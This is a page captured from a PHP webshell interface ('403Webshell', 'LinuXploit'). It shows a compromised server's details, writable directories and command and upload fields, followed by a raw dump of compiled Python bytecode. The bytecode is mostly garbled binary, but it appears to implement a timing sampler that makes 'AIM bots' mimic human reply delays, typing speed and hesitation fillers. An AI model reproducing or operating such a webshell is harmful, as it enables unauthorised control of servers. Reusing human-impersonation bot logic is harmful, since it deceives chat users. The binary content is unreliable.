403Webshell
Server IP : 157.230.181.24  /  Your IP : 216.73.217.11
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux conductive 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/aim-bots/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/aim-bots/__pycache__/timing_sampler.cpython-312.pyc
�

*A`j���@�dZddlmZddlZddlZdd�ZGd�d�Zy)z9Sample realistic AIM delays from archive timing profiles.�)�annotationsNc��	tdtdttjjdd����S#t$rYywxYw)N��?��?�TIMING_SCALEz0.55g�������?)�max�min�float�os�environ�get�
ValueError���/opt/aim-bots/timing_sampler.py�
_timing_scaler	sA����4��S�%��
�
���~�v�(N�"O�P�Q�Q������s�<?�	A�
Ac�H�eZdZd	d�Zd
d�Zddd�Zd
dd�Zdd�Zdd�Zdd�Z	y)�
TimingSamplerc�8�|xsi|_t�|_y�N)�profiler�scale)�selfrs  r�__init__zTimingSampler.__init__s���}�"���"�_��
rc�T�|rtj|�Stj|�Sr)�random�choice�uniform)r�samples�fallbacks   r�_pickzTimingSampler._picks#����=�=��)�)��~�~�x�(�(rc��|j}td|dz�}|r�t|jd�xsd�}t|jd�xsd�}tt	j
||�|dzz|jzt|jd�xsd	�|jz�S|d
k(r�|jd�xs|jd�xsg}|j|d
�}	t|jd�xsd�}
t|jd�xsd�}t|t|	t	j
dd�z|
��|jz|dzzS|dk(r�t|jd�xs|jd�xsd�}t|jd�xsd�}
t|jd�xsd�}tt|t	j
td|dz�|dz�|dzz�|
�|jzSt|jd�xsd�}
t|jd�xsd�}|jd�xsg}|rL|j|d �}	tt||	t	j
d!d�z�|
�|jzStt|jd"�xsd#�d$�}tt|jd%�xsd&�d�}t	j
||�|dzz|jzS)'Ng@g�~j�t�x?�
reply_p75_sec�<�
reply_p95_sec�xg�������?�afk_reply_cap_sec��hot�hot_reply_samples�
reply_samples)g�?�@�hot_reply_cap_sec�@�hot_reply_floor_secr�333333�?皙�����?�warm�warm_median_sec�reply_median_sec��warm_reply_cap_secg$@�warm_reply_floor_secr�{�G�z�?�cold_reply_cap_sec�(@�cold_reply_floor_sec)�@r:��?�reply_target_min_sec�r<�reply_target_max_sec�)	rr	r
r
rrrr!r)
r�mode�incoming_len�afk�p�extra�lo�hir�base�cap�floor�meds
             r�reply_delayzTimingSampler.reply_delays����L�L���C���-�.����q�u�u�_�-�3��4�B��q�u�u�_�-�4��5�B������B�'�%�$�,�6�$�*�*�D��a�e�e�/�0�6�B�7�$�*�*�D��
�
�5�=��e�e�/�0�P�A�E�E�/�4J�P�b�G��:�:�g�z�2�D�����1�2�9�c�:�C��!�%�%� 5�6�=�#�>�E��u�c�$�����c�)B�"B�C�H�I�D�J�J�V�Y^�ae�Ye�e�e��6�>�����/�0�S�A�E�E�:L�4M�S�QS�T�C�����2�3�;�t�<�C��!�%�%� 6�7�>�3�?�E���E�6�>�>�#�c�3��:�*>��d�
�K�e�VZ�l�Z�[����
�
��
��A�E�E�.�/�7�4�8���a�e�e�2�3�:�s�;���%�%��(�.�B����:�:�g�{�3�D��s�5�$�����T�)B�"B�C�S�I�D�J�J�V�V�
��q�u�u�3�4�9��:�C�
@��
��q�u�u�3�4�9��:�D�
A�����r�2�&����5����C�Crc��|j}|jd�xsg}t|jd�xsd�}t|jd�xsd�}|dk(ry|r|j|d|f�}nL|d	k(r$t	j
d
t
d|dz��}n#t	j
td|d
z�|�}t	j
d
d�}tdt
||zd��|jzS)N�burst_gap_samples�burst_median_secg@�
burst_p90_secg @rgrr)r=r<g333333�?r0gffffff�?rg4@)	rr
r
r!rrr	rr)	rrB�	msg_indexrErrL�p90rI�jitters	         r�	burst_gapzTimingSampler.burst_gapBs����L�L���%�%�+�,�2����A�E�E�,�-�4��5���A�E�E�/�*�1�c�2����>����:�:�g��S�z�2�D�
�U�]��>�>�#�s�3��c�	�':�;�D��>�>�#�c�3��9�"5�s�;�D�����d�+���4��T�F�]�D�1�2�T�Z�Z�?�?rc��tj||�}|dk(r|tjdd�z}n|dk(r|tjdd�z}|dzdz}t|�t|d	�z}|dk(rd
\}}	n|dk(rd\}}	nd
\}}	t|t	|	|��tjdd�z|j
zS)Nr)r1g�������?�cold�333333�?g�������?gN@r,r)g�������?g������?r2)rr,)g�������?r.g{�G�z�?g���Q��?)rr�lenrr	r)
r�textrB�wpm_min�wpm_max�wpm�cps�delayrGrHs
          r�typing_delayzTimingSampler.typing_delayUs����n�n�W�g�.���5�=��6�>�>�#�t�,�,�C�
�V�^��6�>�>�#�s�+�+�C��T�z�S� ���D�	�C��S�M�)���5�=��F�B��
�V�^��F�B���F�B���B��B���'�&�.�.��t�*D�D��
�
�R�Rrc��t|jjd�xsd�}|dk(rtj�|dzkS|dk(rtj�|dzkStj�|kS)N�hesitation_rater8r)rr2rX)r
rr
r)rrB�rates   r�should_hesitatezTimingSampler.should_hesitategsj���T�\�\�%�%�&7�8�@�D�A���5�=��=�=�?�T�D�[�0�0��6�>��=�=�?�T�C�Z�/�/��}�}���%�%rc�0�d}tj|�S)N)	z...�uh�uhh�haha�lol�umm�wait�hm�idk)rr)r�pools  r�hesitation_fillerzTimingSampler.hesitation_filleros��

���}�}�T�"�"rN)rzdict | None�return�None)rzlist[float]r ztuple[float, float]rpr
)rF)rB�strrC�intrD�boolrpr
)r)rBrrrRrsrpr
)
rZrrrBrrr[rsr\rsrpr
)rBrrrprt)rprr)
�__name__�
__module__�__qualname__rr!rMrUr`rdrorrrrrs)��%�)�
&D�P@�&S�$&�#rr)rpr
)�__doc__�
__future__rrrrrrrr�<module>rzs"��?�"�	�
��k#�k#r

Youez - 2016 - github.com/yon3zu
LinuXploit